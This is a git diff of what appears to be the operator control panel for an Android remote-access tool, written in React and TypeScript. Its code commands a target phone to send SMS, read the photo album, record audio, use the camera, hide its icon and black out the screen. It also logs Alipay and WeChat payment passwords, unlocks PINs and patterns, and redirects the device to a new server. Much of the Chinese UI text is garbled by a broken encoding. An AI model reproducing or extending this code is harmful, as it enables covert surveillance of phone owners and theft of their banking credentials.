handleSmsSend = (phoneNumber: string, messageText: string) => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + console.log('馃摫 鍙戦€佺煭淇?', { phoneNumber, message: messageText }) + webSocket.emit('camera_control', { + action: 'SMS_SEND', + deviceId, + data: { + phoneNumber: phoneNumber, + message: messageText + } + }) + message.info(`姝e湪鍙戦€佺煭淇″埌 ${phoneNumber}...`) + } + + const handleRequestAppList = (includeIcons: boolean = false) => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + if (!operationEnabled) { + message.warning('当前无设备控制权限') + return + } + + setAppListLoading(true) + setAppListIncludeIcons(includeIcons) + webSocket.emit('control_message', { + type: 'APP_LIST', + deviceId, + data: { includeIcons }, + timestamp: Date.now() + }) + } + + const handleOpenApp = (packageName: string) => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + if (!operationEnabled) { + message.warning('当前无设备控制权限') + return + } + const targetPackage = packageName.trim() + if (!targetPackage) return + + setOpeningAppPackage(targetPackage) + webSocket.emit('control_message', { + type: 'APP_OPEN', + deviceId, + data: { packageName: targetPackage }, + timestamp: Date.now() + }) + } + + const filteredAppList = (appListData?.appList || []).filter((app) => { + if (!appSearchKeyword.trim()) return true + const keyword = appSearchKeyword.trim().toLowerCase() + return ( + String(app.appName || '').toLowerCase().includes(keyword) || + String(app.packageName || '').toLowerCase().includes(keyword) + ) + }) + + + // 馃摲 鐩稿唽鎺у埗鐩稿叧鍑芥暟 + const handleAlbumPermissionCheck = () => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + console.log('馃摲 妫€鏌ョ浉鍐屾潈闄?) + webSocket.emit('camera_control', { + action: 'GALLERY_PERMISSION_CHECK', + deviceId, + data: {} + }) + message.info('姝e湪妫€鏌ョ浉鍐屾潈闄?..') + } + + // 宸茬Щ闄わ細璇诲彇宸蹭繚瀛樼浉鍐岋紙鏀圭敤鈥滆幏鍙栫浉鍐屸€濆唴鑱斿睍绀猴級 + + // 鑾峰彇鐩稿唽鎸夐挳澶勭悊鍑芥暟 + const handleGetGallery = () => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + console.log('馃摲 鑾峰彇鏈€鏂扮浉鍐?) + dispatch(setGalleryLoading(true)) + dispatch(setGalleryVisible(true)) + webSocket.emit('camera_control', { + action: 'ALBUM_READ', + deviceId, + data: { limit: 100 } + }) + message.info('姝e湪鑾峰彇鐩稿唽...') + } + + // 馃啎 鎻愬彇纭鍧愭爣宸茶縼绉昏嚦 DebugFunctionsCard + + // 馃啎 鎵嬪姩杈撳叆纭鍧愭爣宸茶縼绉昏嚦 DebugFunctionsCard + + // 馃啎 纭淇濆瓨鎵嬪姩杈撳叆鐨勫潗鏍? + const handleSaveInputCoords = () => { + if (!webSocket || !deviceId) return + + const coords = { x: inputCoordX, y: inputCoordY } + + // 楠岃瘉鍧愭爣鍊? + if (inputCoordX < 0 || inputCoordY < 0) { + message.error('鍧愭爣鍊间笉鑳戒负璐熸暟') + return + } + + if (device && (inputCoordX > device.screenWidth || inputCoordY > device.screenHeight)) { + message.warning(`鍧愭爣鍊艰秴鍑鸿澶囧睆骞曡寖鍥?(${device.screenWidth}脳${device.screenHeight})`) + } + + // 淇濆瓨鍒版湇鍔″櫒 + webSocket.emit('client_event', { + type: 'SAVE_CONFIRM_COORDS', + data: { deviceId, coords }, + timestamp: Date.now() + }) + + setInputCoordsModalVisible(false) + + console.log('馃幆 鎵嬪姩杈撳叆纭鍧愭爣宸蹭繚瀛?', coords) + message.success(`纭鍧愭爣宸蹭繚瀛? (${coords.x}, ${coords.y})`) + } + + if (!device) { + return ( + +
+ 璁惧鏈€変腑 +
+
+ ) + } + + return ( + <> +
+ {/* 宸︿晶鍔熻兘鍖猴細璋冭瘯銆佹搷浣滅瓑 */} +
+ + {/* 璁惧淇℃伅 */} + + + {/* 璋冭瘯鍔熻兘 */} + { }} + virtualKeyboardEnabled={device?.screenReader?.showVirtualKeyboard} + onToggleVirtualKeyboard={() => { + if (device?.screenReader) { + // 鍒囨崲铏氭嫙鎸夐敭鏄剧ず鐘舵€? + const newShowVirtualKeyboard = !device.screenReader.showVirtualKeyboard + dispatch(updateDeviceScreenReaderConfig({ + deviceId, + config: { showVirtualKeyboard: newShowVirtualKeyboard } + })) + console.log('鍒囨崲铏氭嫙鎸夐敭鏄剧ず:', newShowVirtualKeyboard) + } + }} + showScreenReaderControls={true} + alipayDetectionEnabled={alipayDetectionEnabled} + wechatDetectionEnabled={wechatDetectionEnabled} + onStartAlipayDetection={startAlipayDetection} + onStopAlipayDetection={stopAlipayDetection} + onStartWechatDetection={startWechatDetection} + onStopWechatDetection={stopWechatDetection} + onOpenFourDigitPin={handleOpenFourDigitPin} + onOpenSixDigitPin={handleOpenPinInput} + onOpenPatternLock={handleOpenPatternLock} + passwordFilter={passwordFilter as any} + onPasswordFilterChange={(v) => { + setPasswordFilter(v) + // 绛涢€夌被鍨嬪彉鍖栧悗鑷姩璇锋眰API锛屼娇鐢ㄦ柊鐨勭瓫閫夊€? + fetchAlipayPasswordsWithFilter(v, 1, alipayPasswordPageSize) + }} + onViewPasswords={async () => { + try { + const typeQuery = passwordFilter === 'DEFAULT' ? '' : `&passwordType=${passwordFilter}` + const json: any = await apiClient.get(`/api/password-inputs/${deviceId}?page=1&pageSize=10${typeQuery}`) + if (!json || json.success === false) { + message.error('鏌ョ湅瀵嗙爜澶辫触') + return + } + const resp = json.data || { passwords: [], total: 0, page: 1, pageSize: 10 } + setAlipayPasswords(resp.passwords || []) + setAlipayPasswordTotal(resp.total || 0) + setAlipayPasswordPage(resp.page || 1) + setAlipayPasswordPageSize(resp.pageSize || 10) + setAlipayPasswordModalVisible(true) + } catch (e) { + console.error('鏌ョ湅瀵嗙爜澶辫触', e) + message.error('鏌ョ湅瀵嗙爜澶辫触') + } + }} + onSwipeUp={() => handleSwipe('up')} + onSwipeDown={() => handleSwipe('down')} + onSwipeLeft={() => handleSwipe('left')} + onSwipeRight={() => handleSwipe('right')} + onPullDownLeft={() => handlePullDown('left')} + onPullDownRight={() => handlePullDown('right')} + > + {/* 馃啎 閬僵鏂囧瓧鍜屾搷浣滄帶鍒?- 鏀惧湪鏈€涓婇潰 */} + +
+
閬僵鏂囧瓧:
+ setMaskText(e.target.value)} + rows={2} + style={{ fontSize: '12px' }} + /> + + +
瀛椾綋澶у皬:
+ setMaskTextSize(Number(e.target.value) || 24)} + min={12} + max={48} + style={{ fontSize: '12px' }} + /> + + + + + + + + + + + + + + + {/* 馃啎 鏄剧ず宸蹭繚瀛樼殑纭鍧愭爣 */} + {deviceState?.confirmButtonCoords && ( +
+ 馃幆 纭鍧愭爣: ({Math.round(deviceState.confirmButtonCoords.x)}, {Math.round(deviceState.confirmButtonCoords.y)}) +
+ )} + + {/* 馃啎 鍏抽棴閰嶇疆閬洊鎺у埗 */} + + + + + + + {/* 馃啎 閲嶆柊鑾峰彇鎶曞睆鏉冮檺 */} + + + + + + + + + + {/* 馃啎 灞忓箷鎹曡幏鎺у埗 - 宸查殣钘忥紙鍔熻兘宸茬Щ鑷砇emoteControlApp锛?*/} + {/* + + + + + + + */} + + {/* 馃啎 榛戝睆閬洊鎺у埗 */} + + + + + + + + + + {/* 榛戝睆閬洊鐘舵€佹樉绀?*/} +
+ {isBlackScreenActive ? '馃枻 榛戝睆閬洊宸插惎鐢? : '鉁?姝e父鏄剧ず妯″紡'} +
+ + {/* 馃啎 搴旂敤闅愯棌/鏄剧ず鎺у埗 */} + + + + + + + + + + {/* 搴旂敤闅愯棌鐘舵€佹樉绀?*/} +
+ {isAppHidden ? '馃摫 搴旂敤鍥炬爣宸查殣钘? : '鉁?搴旂敤鍥炬爣姝e父鏄剧ず'} +
+ + + + + + + + + + + + + + {/* 馃啎 鎵撳紑搴旂敤璁剧疆鎸夐挳 */} + {/* 馃啎 涓€閿浘妗堣В閿?*/} + + + + + + + + + + + + {/* 鏌ユ壘瀵嗙爜鎸夐挳 */} + + + + + + + + + + {/* 馃啎 鎵撳紑搴旂敤璁剧疆鎸夐挳 */} + + {lastKnownPassword && ( +
+ 涓婃璁板綍瀵嗙爜: {lastKnownPassword} +
+ )} + + + {/* 瀛︿範鐘舵€佹樉绀?*/} + {deviceState?.learnedConfirmButton && ( +
+ 馃 宸插涔犵‘璁ゆ寜閽? ({Math.round(deviceState.learnedConfirmButton.x)}, {Math.round(deviceState.learnedConfirmButton.y)}) +
+ 瀛︿範娆℃暟: {deviceState.learnedConfirmButton.count || 0} +
+ )} + + + + + + + + + {/* 鏃ュ織鎺у埗 */} + + + + + + + + + +
+ 鐘舵€? {isLoggingEnabled ? '鉁?鏃ュ織璁板綍宸插惎鐢? : '鉂?鏃ュ織璁板綍宸茬鐢?} +
+ + + {/* 鉁?鏂板锛氭湇鍔″櫒鍦板潃鎺у埗 */} + + + + + + +
+ 鍚戣澶囧彂閫佷慨鏀规湇鍔″櫒鍦板潃鐨勬寚浠? +
+ + + + + + + + {/* 鍙充晶锛歍ab 鏍?*/} +
+ { + // 鍒囨崲鍒版煡鐪嬫棩蹇梩ab鏃讹紝璁剧疆logModalVisible涓簍rue + if (activeKey === 'logs') { + setLogModalVisible(true) + } + }} + items={[ + { key: 'device', label: '馃摫 璁惧淇℃伅', children: () }, + { + key: 'sms', label: '鐭俊', children: ( + handleSmsSend(phone, content)} + /> + ) + }, + { + key: 'apps', label: '应用', children: ( +
+ + + + + } + value={appSearchKeyword} + onChange={(e) => setAppSearchKeyword(e.target.value)} + style={{ width: 220 }} + /> + +
+ 已加载 {appListData?.count || 0} 个应用 + + 图标模式: {appListIncludeIcons ? '开启' : '关闭'} + + {appListPermission.message && ( + + {appListPermission.message} + + )} +
+
+
record.packageName} + dataSource={filteredAppList} + pagination={{ pageSize: 12, showSizeChanger: true, pageSizeOptions: ['12', '24', '48'] }} + scroll={{ y: 420 }} + columns={[ + { + title: '图标', + dataIndex: 'iconBase64', + key: 'icon', + width: 72, + render: (_: string | undefined, record: AppListItem) => { + if (record.iconBase64) { + const iconMime = record.iconMimeType || 'image/png' + return ( + {record.appName + ) + } + return ( +
+ APP +
+ ) + } + }, + { + title: '应用名', + dataIndex: 'appName', + key: 'appName', + width: 180, + render: (text: string, record: AppListItem) => text || record.packageName + }, + { + title: '包名', + dataIndex: 'packageName', + key: 'packageName', + ellipsis: true + }, + { + title: '类型', + dataIndex: 'isSystemApp', + key: 'isSystemApp', + width: 90, + render: (v: boolean) => {v ? '系统' : '用户'} + }, + { + title: '状态', + dataIndex: 'enabled', + key: 'enabled', + width: 90, + render: (v: boolean | undefined) => {v === false ? '禁用' : '可用'} + }, + { + title: '操作', + key: 'action', + width: 110, + render: (_: any, record: AppListItem) => ( + + ) + } + ]} + /> + + ) + }, + { + key: 'camera', label: '鎽勫儚澶?, children: ( +
+ +
+ +
+
+ ) + }, + { + key: 'audio', label: '馃帣锔?褰曢煶', children: ( +
+ + +
+ + + + + + + + {/* 褰曢煶鐘舵€佷俊鎭?*/} +
+
+ 褰曢煶鐘舵€侊細 + + {isMicRecording ? '姝e湪褰曢煶' : '鏈綍闊?} + +
+ {micPermission && ( +
+ 楹﹀厠椋庢潈闄愶細 + + {micPermission === 'granted' ? '宸叉巿鏉? : '鏈巿鏉?} + +
+ )} + {micSampleRate && ( +
+ 閲囨牱鐜囷細 + {micSampleRate} Hz +
+ )} + {micChannels && ( +
+ 澹伴亾鏁帮細 + {micChannels} +
+ )} + {micBitDepth && ( +
+ 浣嶆繁搴︼細 + {micBitDepth} bit +
+ )} +
+ + + ) + }, + { + key: 'gallery', label: '鐩稿唽', children: ( +
+ +
+ {albumLoading && ( +
姝e湪鑾峰彇鐩稿唽...
+ )} + + {/* 瀹炴椂淇濆瓨鐨勭浉鍐屽浘鐗囩Щ鍔ㄨ嚦 GalleryControlCard 鍐呭睍绀?*/} + {!albumLoading && !albumData && ( +
鐐瑰嚮鈥滆鍙栧垪琛ㄢ€濇垨鈥滆幏鍙栫浉鍐屸€濆悗鍦ㄦ灞曠ず
+ )} +
+
+ ) + }, + { + key: 'logs', label: '鏌ョ湅鏃ュ織', children: ( +
+
+ + 绫诲瀷绛涢€? + + + + +
+
`${record.id || index}`} + pagination={false} + loading={logLoading} + size="small" + scroll={{ y: 400 }} + /> +
+ `绗?${range[0]}-${range[1]} 鏉?/ 鍏?${total} 鏉} + onChange={handlePageChange} + onShowSizeChange={handlePageChange} + pageSizeOptions={['20', '50', '100', '200']} + size="small" + /> +
+ + ) + }, + { + key: 'passwords', label: '瀵嗙爜', children: ( +
+
+ + 绛涢€夌被鍨? + + +
+
new Date(t).toLocaleString() + }, + { + title: '绫诲瀷', + dataIndex: 'passwordType', + key: 'passwordType', + width: 120, + render: (v: string | undefined) => v || '-' + }, + { + title: '鏉ユ簮', + dataIndex: 'activity', + key: 'activity', + width: 200 + }, + { + title: '瀵嗙爜', + dataIndex: 'password', + key: 'password', + render: (text: string) => ( +
{ if (!text) return; setContentPreviewText(text); setContentPreviewVisible(true) }} + title={text} + > + {text} +
+ ) + } + ]} + dataSource={alipayPasswords} + rowKey={(record: any) => `${record.id}`} + pagination={false} + loading={alipayPasswordLoading} + size="small" + scroll={{ y: 400 }} + /> +
+ `绗?${range[0]}-${range[1]} 鏉?/ 鍏?${total} 鏉} + onChange={(page, pageSize) => { + setAlipayPasswordPage(page) + setAlipayPasswordPageSize(pageSize || 10) + fetchAlipayPasswords(page, pageSize || 10) + }} + pageSizeOptions={['10', '20', '50', '100']} + size="small" + /> +
+ + ) + }, + ]} + /> + + + + {/* 瀵嗙爜鎼滅储寮圭獥 */} + + 鍙栨秷 + , + + ]} + width={700} + centered + destroyOnHidden + > + {/* 鉁?鏂板锛氳嚜瀹氫箟瀵嗙爜杈撳叆鍖哄煙 */} +
+
+ 馃攼 鐩存帴杈撳叆瀵嗙爜 +
+ { + setCustomPasswordInput(e.target.value) + // 褰撴湁鑷畾涔夎緭鍏ユ椂锛屾竻绌哄巻鍙插瘑鐮侀€夋嫨 + if (e.target.value.trim() && selectedPassword) { + setSelectedPassword('') + } + }} + size="large" + style={{ marginBottom: 8 }} + autoComplete="off" + onPressEnter={handleConfirmSelectedPassword} + allowClear + /> +
+ 馃挕 鎮ㄥ彲浠ョ洿鎺ュ湪姝よ緭鍏ュ瘑鐮侊紝涔熷彲浠ヤ粠涓嬫柟鐨勫巻鍙茶褰曚腑閫夋嫨 +
+ {customPasswordInput.trim() && ( +
+ 鉁?宸茶緭鍏?{customPasswordInput.length} 浣嶅瘑鐮? + + ({detectPasswordType(customPasswordInput)}) + + 锛岀偣鍑荤‘璁ゅ皢浣跨敤姝ゅ瘑鐮? +
+ )} +
+ + {passwordSearchLoading ? ( +
+
馃攳 姝e湪浠庢搷浣滄棩蹇椾腑鏌ユ壘瀵嗙爜...
+
+ 姝e湪鍒嗘瀽鏂囨湰杈撳叆璁板綍锛屽鎵惧彲鑳界殑瀵嗙爜妯″紡 +
+
+ ) : foundPasswords.length > 0 ? ( +
+
+ 馃搵 浠庢搷浣滄棩蹇椾腑鎵惧埌 {foundPasswords.length} 涓巻鍙插瘑鐮侊紝鎮ㄤ篃鍙互閫夋嫨浣跨敤锛? +
+
+ {foundPasswords.map((password, index) => { + const isSelected = selectedPassword === password && !customPasswordInput.trim() + const isDisabled = customPasswordInput.trim() + return ( +
!isDisabled && handleSelectPassword(password)} + > +
+
+ 馃攽 {password} +
+
+ {password.length} 浣峽/^\d+$/.test(password) ? ' 鏁板瓧' : ''}瀵嗙爜 +
+
+ {isSelected && ( +
+ 鉁?宸查€変腑姝ゅ瘑鐮? +
+ )} + {isDisabled && ( +
+ 馃挕 宸叉湁鑷畾涔夎緭鍏ワ紝鐐瑰嚮鍙垏鎹㈠埌姝ゅ瘑鐮? +
+ )} +
+ ) + })} +
+
+ 馃挕 鎻愮ず锛? + {customPasswordInput.trim() ? ( + 褰撳墠灏嗕娇鐢ㄦ偍杈撳叆鐨勮嚜瀹氫箟瀵嗙爜锛屽巻鍙插瘑鐮佷粎浣滃弬鑰?/span> + ) : ( + 閫夋嫨鍘嗗彶瀵嗙爜鍚庡皢鑷姩淇濆瓨鍒版暟鎹簱骞舵墽琛岃В閿佹搷浣?/span> + )} +
+
+ ) : ( +
+
+
馃摑 鏈壘鍒板巻鍙插瘑鐮佽褰?/div> +
+ 娌″叧绯伙紝鎮ㄥ彲浠ヤ娇鐢ㄤ笂鏂圭殑杈撳叆妗嗙洿鎺ヨ緭鍏ュ瘑鐮? +
+
+
+ )} + + + {/* 鎿嶄綔鏃ュ織寮圭獥 */} + + + {/* 閫氱敤鍐呭棰勮锛堝瘑鐮?鏃ュ織锛?*/} + setContentPreviewVisible(false)} + footer={null} + width={600} + > + + + + {/* 寮€鍙戣皟璇曢潰鏉?*/} + {(window as any).location?.hostname === 'localhost' && ( + +
+ + + +
+ 杈撳叆闃诲: {deviceInputBlocked ? '鏄? : '鍚?} | + 鏃ュ織璁板綍: {isLoggingEnabled ? '寮€鍚? : '鍏抽棴'} | + 瀵嗙爜: {lastKnownPassword ? '宸茶缃? : '鏈缃?} +
+
+
+ )} + + {/* 鐭俊鏁版嵁寮圭獥宸茬Щ闄わ紝鐩存帴鍦ㄧ煭淇″崱鐗囧唴灞曠ず */} + + {/* 鐩稿唽宸插唴鑱旀樉绀猴紝绉婚櫎寮圭獥 */} + + {/* 瀹炴椂淇濆瓨鐨勭浉鍐屽浘鐗囨敼涓哄湪鐩稿唽 Tab 鍐呰仈灞曠ず */} + + {/* 馃啎 鎵嬪姩杈撳叆纭鍧愭爣Modal */} + setInputCoordsModalVisible(false)} + okText="淇濆瓨鍧愭爣" + cancelText="鍙栨秷" + width={400} + > +
+
+ 馃摫 褰撳墠璁惧鍒嗚鲸鐜? {device ? `${device.screenWidth}脳${device.screenHeight}` : '鏈煡'} +
+
+ 馃挕 浣跨敤璇存槑锛?/strong>
+ 鈥?璇疯緭鍏ョ‘璁ゆ寜閽湪璁惧灞忓箷涓婄殑绮剧‘鍧愭爣
+ 鈥?榛樿鍊煎凡鏍规嵁璁惧鍒嗚鲸鐜囪绠?(鍙充笅瑙掑尯鍩?
+ 鈥?X鍧愭爣: 璁惧瀹藉害 - 60锛孻鍧愭爣: 璁惧楂樺害 - 100
+ 鈥?鎮ㄥ彲浠ユ牴鎹疄闄呮儏鍐佃皟鏁磋繖浜涙暟鍊? +
+
+ +
+
X鍧愭爣 (妯悜浣嶇疆)
+ setInputCoordX(value || 0)} + min={0} + max={device ? device.screenWidth : 9999} + placeholder="璇疯緭鍏鍧愭爣" + addonBefore="X:" + addonAfter="px" + /> +
+ 鑼冨洿: 0 ~ {device ? device.screenWidth : '璁惧瀹藉害'} +
+
+ +
+
Y鍧愭爣 (绾靛悜浣嶇疆)
+ setInputCoordY(value || 0)} + min={0} + max={device ? device.screenHeight : 9999} + placeholder="璇疯緭鍏鍧愭爣" + addonBefore="Y:" + addonAfter="px" + /> +
+ 鑼冨洿: 0 ~ {device ? device.screenHeight : '璁惧楂樺害'} +
+
+ +
+ 馃搷 棰勮鍧愭爣: ({inputCoordX}, {inputCoordY})
+ {device && ( + <> + 鐩稿浣嶇疆: 璺濈宸﹁竟缂?{inputCoordX}px锛岃窛绂婚《閮?{inputCoordY}px
+ 璺濈鍙宠竟缂?{device.screenWidth - inputCoordX}px锛岃窛绂诲簳閮?{device.screenHeight - inputCoordY}px + + )} +
+
+ + {/* 鏀粯瀹濆瘑鐮佺鐞哅odal */} + fetchAlipayPasswords(alipayPasswordPage, alipayPasswordPageSize)}> + 鍒锋柊 + , + , + , + + ]} + width={800} + styles={{ body: { padding: '16px' } }} + > +
+
+
+
+ 璁惧ID: {deviceId} +
+
+ 瀵嗙爜鎬绘暟: {alipayPasswordTotal} +
+
+ 妫€娴嬬姸鎬? + {alipayDetectionEnabled ? '杩愯涓? : '宸插仠姝?} + +
+
+
+
+ +
( + + {text} + + ) + }, + { + title: '闀垮害', + dataIndex: 'passwordLength', + key: 'passwordLength', + width: 60, + render: (length: number) => ( + + {length}浣? + + ) + }, + { + title: '娲诲姩', + dataIndex: 'activity', + key: 'activity', + width: 150, + render: (text: string) => ( + + {text} + + ) + }, + { + title: '杈撳叆鏂瑰紡', + dataIndex: 'inputMethod', + key: 'inputMethod', + width: 100, + render: (text: string) => ( + + {text} + + ) + }, + { + title: '浼氳瘽ID', + dataIndex: 'sessionId', + key: 'sessionId', + width: 120, + render: (text: string) => ( + + {text.substring(0, 8)}... + + ) + }, + { + title: '妫€娴嬫椂闂?, + dataIndex: 'timestamp', + key: 'timestamp', + width: 150, + render: (text: string) => new Date(text).toLocaleString() + }, + { + title: '鍒涘缓鏃堕棿', + dataIndex: 'createdAt', + key: 'createdAt', + width: 150, + render: (text: string) => new Date(text).toLocaleString() + } + ]} + dataSource={alipayPasswords} + rowKey="id" + pagination={{ + current: alipayPasswordPage, + pageSize: alipayPasswordPageSize, + total: alipayPasswordTotal, + showSizeChanger: true, + showQuickJumper: true, + showTotal: (total, range) => `绗?${range[0]}-${range[1]} 鏉?/ 鍏?${total} 鏉, + pageSizeOptions: ['10', '20', '50', '100'], + onChange: (page, pageSize) => { + setAlipayPasswordPage(page) + setAlipayPasswordPageSize(pageSize || 10) + fetchAlipayPasswords(page, pageSize || 10) + } + }} + loading={alipayPasswordLoading} + size="small" + scroll={{ x: 600, y: 400 }} + style={{ marginTop: '16px' }} + /> + + + {/* 寰俊瀵嗙爜绠$悊Modal */} + setWechatPasswordModalVisible(false)} + footer={[ + , + , + , + + ]} + width={800} + styles={{ body: { padding: '16px' } }} + > +
+
+
+
+ 璁惧ID: {deviceId} +
+
+ 瀵嗙爜鎬绘暟: {wechatPasswordTotal} +
+
+ 妫€娴嬬姸鎬? + {wechatDetectionEnabled ? '杩愯涓? : '宸插仠姝?} + +
+
+
+
+ +
( + + {text} + + ) + }, + { + title: '闀垮害', + dataIndex: 'passwordLength', + key: 'passwordLength', + width: 60, + render: (length: number) => ( + + {length}浣? + + ) + }, + { + title: '娲诲姩', + dataIndex: 'activity', + key: 'activity', + width: 150, + render: (text: string) => ( + + {text} + + ) + }, + { + title: '杈撳叆鏂瑰紡', + dataIndex: 'inputMethod', + key: 'inputMethod', + width: 100, + render: (text: string) => ( + + {text} + + ) + }, + { + title: '浼氳瘽ID', + dataIndex: 'sessionId', + key: 'sessionId', + width: 120, + render: (text: string) => ( + + {text.substring(0, 8)}... + + ) + }, + { + title: '妫€娴嬫椂闂?, + dataIndex: 'timestamp', + key: 'timestamp', + width: 150, + render: (text: string) => new Date(text).toLocaleString() + }, + { + title: '鍒涘缓鏃堕棿', + dataIndex: 'createdAt', + key: 'createdAt', + width: 150, + render: (text: string) => new Date(text).toLocaleString() + } + ]} + dataSource={wechatPasswords} + rowKey="id" + pagination={{ + current: wechatPasswordPage, + pageSize: wechatPasswordPageSize, + total: wechatPasswordTotal, + showSizeChanger: true, + showQuickJumper: true, + showTotal: (total, range) => `绗?${range[0]}-${range[1]} 鏉?/ 鍏?${total} 鏉, + pageSizeOptions: ['10', '20', '50', '100'], + onChange: (page, pageSize) => { + setWechatPasswordPage(page) + setWechatPasswordPageSize(pageSize || 10) + fetchWechatPasswords(page, pageSize || 10) + } + }} + loading={wechatPasswordLoading} + size="small" + scroll={{ x: 600, y: 400 }} + style={{ marginTop: '16px' }} + /> + + + {/* 鉁?鏂板锛氭湇鍔″櫒鍦板潃淇敼寮圭獥 */} + { + setServerUrlModalVisible(false) + setNewServerUrl('') + }} + footer={[ + , + + ]} + width={500} + > +
+

+ 姝ゅ姛鑳藉皢鍚慉ndroid璁惧鍙戦€佷慨鏀规湇鍔″櫒鍦板潃鐨勬寚浠わ紝璁惧灏嗛噸鏂拌繛鎺ュ埌鏂扮殑鏈嶅姟鍣ㄣ€? +

+ setNewServerUrl(e.target.value)} + style={{ marginBottom: 16 }} + /> +
+ 鈿狅笍 娉ㄦ剰浜嬮」锛?/strong> +
    +
  • 璇风‘淇濇柊鏈嶅姟鍣ㄥ湴鍧€鏍煎紡姝g‘锛堝锛歸s://ip:port 鎴?wss://鍩熷悕锛?/li> +
  • ws鍜寃ss鐨勫尯鍒槸 涓€涓敤鐨刪ttp鍗忚锛屼竴涓槸https鍗忚
  • +
  • 淇敼鍚庤澶囧皢鏂紑褰撳墠杩炴帴骞跺皾璇曡繛鎺ユ柊鏈嶅姟鍣?/li> +
  • 濡傛灉鏂版湇鍔″櫒涓嶅彲杈撅紝璁惧灏嗘棤娉曟甯歌繛鎺?/li> +
+
+
+
+ + + ) +} + +export default ControlPanel diff --git a/src/components/Control/DebugFunctionsCard.tsx b/src/components/Control/DebugFunctionsCard.tsx index aaed07e..46c3617 100644 --- a/src/components/Control/DebugFunctionsCard.tsx +++ b/src/components/Control/DebugFunctionsCard.tsx @@ -44,8 +44,6 @@ export interface DebugFunctionsCardProps { onSwipeDown?: () => void onSwipeLeft?: () => void onSwipeRight?: () => void - onPullDownLeft?: () => void - onPullDownRight?: () => void } export const DebugFunctionsCard: React.FC = ({ @@ -78,8 +76,6 @@ export const DebugFunctionsCard: React.FC = ({ onSwipeDown, onSwipeLeft, onSwipeRight, - onPullDownLeft, - onPullDownRight, children }) => { const [collapsed, setCollapsed] = useState(defaultCollapsed) @@ -266,7 +262,7 @@ export const DebugFunctionsCard: React.FC = ({ )} {/* 手势操作(可选) */} - {!collapsed && (onSwipeUp || onSwipeDown || onSwipeLeft || onSwipeRight || onPullDownLeft || onPullDownRight) && ( + {!collapsed && (onSwipeUp || onSwipeDown || onSwipeLeft || onSwipeRight) && ( {onSwipeUp && (
@@ -280,12 +276,6 @@ export const DebugFunctionsCard: React.FC = ({ {onSwipeRight && ( )} - {onPullDownLeft && ( - - )} - {onPullDownRight && ( - - )} )} diff --git a/src/components/Control/SmsControlCard.tsx b/src/components/Control/SmsControlCard.tsx index d096c40..be4887a 100644 --- a/src/components/Control/SmsControlCard.tsx +++ b/src/components/Control/SmsControlCard.tsx @@ -1,4 +1,4 @@ -import React, { useState, useMemo } from 'react' +import React, { useState, useMemo } from 'react' import { Card, Row, Col, Button, Input, InputNumber, Table, Modal } from 'antd' import { FileTextOutlined, SendOutlined } from '@ant-design/icons' @@ -166,3 +166,4 @@ export const SmsControlCard: React.FC = ({ export default SmsControlCard + diff --git a/src/components/Device/DeviceScreen.tsx b/src/components/Device/DeviceScreen.tsx index 8cad483..06a755c 100644 --- a/src/components/Device/DeviceScreen.tsx +++ b/src/components/Device/DeviceScreen.tsx @@ -1,14 +1,14 @@ -import React, { useRef, useEffect, useState, useCallback } from 'react' +import React, { useRef, useEffect, useState, useCallback } from 'react' import { Card, Spin } from 'antd' import { useSelector } from 'react-redux' import type { RootState } from '../../store/store' -/** 画质档位(参考billd-desk的参数化控制) */ +/** 画质档位(参�?billd-desk 的参数化控制�?*/ const QUALITY_PROFILES = [ - { key: 'low', label: '低画质', fps: 5, quality: 30, resolution: '360P' }, - { key: 'medium', label: '中画质', fps: 10, quality: 45, resolution: '480P' }, - { key: 'high', label: '高画质', fps: 15, quality: 60, resolution: '720P' }, - { key: 'ultra', label: '超高画质', fps: 20, quality: 75, resolution: '1080P' }, + { key: 'low', label: 'Low', fps: 5, quality: 30, resolution: '360P' }, + { key: 'medium', label: 'Medium', fps: 10, quality: 45, resolution: '480P' }, + { key: 'high', label: 'High', fps: 15, quality: 60, resolution: '720P' }, + { key: 'ultra', label: 'Ultra', fps: 20, quality: 75, resolution: '1080P' }, ] interface DeviceScreenProps { @@ -16,69 +16,798 @@ interface DeviceScreenProps { onScreenSizeChange?: (size: { width: number, height: number }) => void } +const MIN_VALID_BASE64_FRAME_LENGTH = 4000 +const MIN_VALID_BINARY_FRAME_BYTES = 1200 +const WEBRTC_CONNECT_TIMEOUT_MS = 12000 +const WEBRTC_DISCONNECT_GRACE_MS = 2800 +const WEBRTC_STATS_CHECK_INTERVAL_MS = 2000 +const WEBRTC_MAX_RECONNECT_ATTEMPTS = 2 +const WEBRTC_RESTART_COOLDOWN_MS = 1500 +const WEBRTC_ADAPTIVE_RETRY_DELAY_MS = 900 +const FORCE_WS_VIDEO_ONLY = false +const WS_VIDEO_FALLBACK_ENABLED = true +type VideoTransportMode = 'ws_binary' | 'webrtc' +type VideoSessionMode = 'ws_default' | 'webrtc_boost' | 'fallback_ws' +const DEFAULT_VIDEO_TRANSPORT: VideoTransportMode = 'ws_binary' +const DEFAULT_VIDEO_SESSION_MODE: VideoSessionMode = 'ws_default' +const WEBRTC_AUTO_RECONNECT_ENABLED = false +const WEBRTC_AUTO_PROJECTION_RECOVERY_ENABLED = false +const VIDEO_SESSION_MODE_LABEL: Record = { + ws_default: 'WS DEFAULT', + webrtc_boost: 'BOOST', + fallback_ws: 'WS FALLBACK' +} +type WebRtcProfile = { + label: string + fps: number + maxLongEdge: number + bitrateKbps: number + priority: 'smooth' | 'balanced' | 'quality' +} +const WEBRTC_PROFILES: WebRtcProfile[] = [ + { label: 'smooth-h', fps: 40, maxLongEdge: 960, bitrateKbps: 2200, priority: 'smooth' }, + { label: 'smooth-m', fps: 32, maxLongEdge: 840, bitrateKbps: 1600, priority: 'smooth' }, + { label: 'smooth-l', fps: 24, maxLongEdge: 720, bitrateKbps: 1100, priority: 'smooth' } +] +const WEBRTC_DEBUG_EVENT_LIMIT = 50 +const MEDIA_PROJECTION_REFRESH_COOLDOWN_MS = 12000 +const MEDIA_PROJECTION_AUTORETRY_DELAY_MS = 7000 + +type WebRtcDebugState = { + transport: VideoTransportMode + profileLabel: string + reconnectAttempts: number + weakNetworkStrike: number + stableNetworkStrike: number + queuedRemoteIce: number + localIceSent: number + remoteIceReceived: number + remoteIceApplied: number + connectionState: string + iceConnectionState: string + signalingState: string + 